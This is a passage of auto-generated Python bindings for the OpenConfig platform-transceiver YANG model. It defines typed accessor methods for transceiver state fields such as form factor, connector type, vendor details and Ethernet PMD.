'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """form_factor must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__form_factor = t if hasattr(self, '_set'): self._set() def _unset_form_factor(self): self.__form_factor = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_connector_type(self): """ Getter method for connector_type, mapped from YANG variable /components/component/transceiver/state/connector_type (identityref) YANG Description: Connector type used on this port """ return self.__connector_type def _set_connector_type(self, v, load=False): """ Setter method for connector_type, mapped from YANG variable /components/component/transceiver/state/connector_type (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_connector_type is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_connector_type() directly. YANG Description: Connector type used on this port """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="connector-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """connector_type must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="connector-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__connector_type = t if hasattr(self, '_set'): self._set() def _unset_connector_type(self): self.__connector_type = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="connector-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_vendor(self): """ Getter method for vendor, mapped from YANG variable /components/component/transceiver/state/vendor (string) YANG Description: Full name of transceiver vendor. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h) """ return self.__vendor def _set_vendor(self, v, load=False): """ Setter method for vendor, mapped from YANG variable /components/component/transceiver/state/vendor (string) If this variable is read-only (config: false) in the source YANG file, then _set_vendor is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_vendor() directly. YANG Description: Full name of transceiver vendor. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h) """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """vendor must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False)""", }) self.__vendor = t if hasattr(self, '_set'): self._set() def _unset_vendor(self): self.__vendor = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) def _get_vendor_part(self): """ Getter method for vendor_part, mapped from YANG variable /components/component/transceiver/state/vendor_part (string) YANG Description: Transceiver vendor's part number. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h). If part number is undefined, all 16 octets = 0h """ return self.__vendor_part def _set_vendor_part(self, v, load=False): """ Setter method for vendor_part, mapped from YANG variable /components/component/transceiver/state/vendor_part (string) If this variable is read-only (config: false) in the source YANG file, then _set_vendor_part is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_vendor_part() directly. YANG Description: Transceiver vendor's part number. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h). If part number is undefined, all 16 octets = 0h """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor-part", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """vendor_part must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor-part", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False)""", }) self.__vendor_part = t if hasattr(self, '_set'): self._set() def _unset_vendor_part(self): self.__vendor_part = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor-part", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) def _get_vendor_rev(self): """ Getter method for vendor_rev, mapped from YANG variable /components/component/transceiver/state/vendor_rev (string) YANG Description: Transceiver vendor's revision number. 2-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h) """ return self.__vendor_rev def _set_vendor_rev(self, v, load=False): """ Setter method for vendor_rev, mapped from YANG variable /components/component/transceiver/state/vendor_rev (string) If this variable is read-only (config: false) in the source YANG file, then _set_vendor_rev is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_vendor_rev() directly. YANG Description: Transceiver vendor's revision number. 2-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h) """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..2']}), is_leaf=True, yang_name="vendor-rev", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """vendor_rev must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..2']}), is_leaf=True, yang_name="vendor-rev", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False)""", }) self.__vendor_rev = t if hasattr(self, '_set'): self._set() def _unset_vendor_rev(self): self.__vendor_rev = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..2']}), is_leaf=True, yang_name="vendor-rev", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) def _get_ethernet_pmd(self): """ Getter method for ethernet_pmd, mapped from YANG variable /components/component/transceiver/state/ethernet_pmd (identityref) YANG Description: Ethernet PMD (physical medium dependent sublayer) that the transceiver supports. The SFF/QSFP MSAs have registers for this and CFP MSA has similar. """ return self.__ethernet_pmd def _set_ethernet_pmd(self, v, load=False): """ Setter method for ethernet_pmd, mapped from YANG variable /components/component/transceiver/state/ethernet_pmd (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_ethernet_pmd is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ethernet_pmd() directly. YANG Description: Ethernet PMD (physical medium dependent sublayer) that the transceiver supports. The SFF/QSFP MSAs have registers for this and CFP MSA has similar. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ethernet_pmd must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', 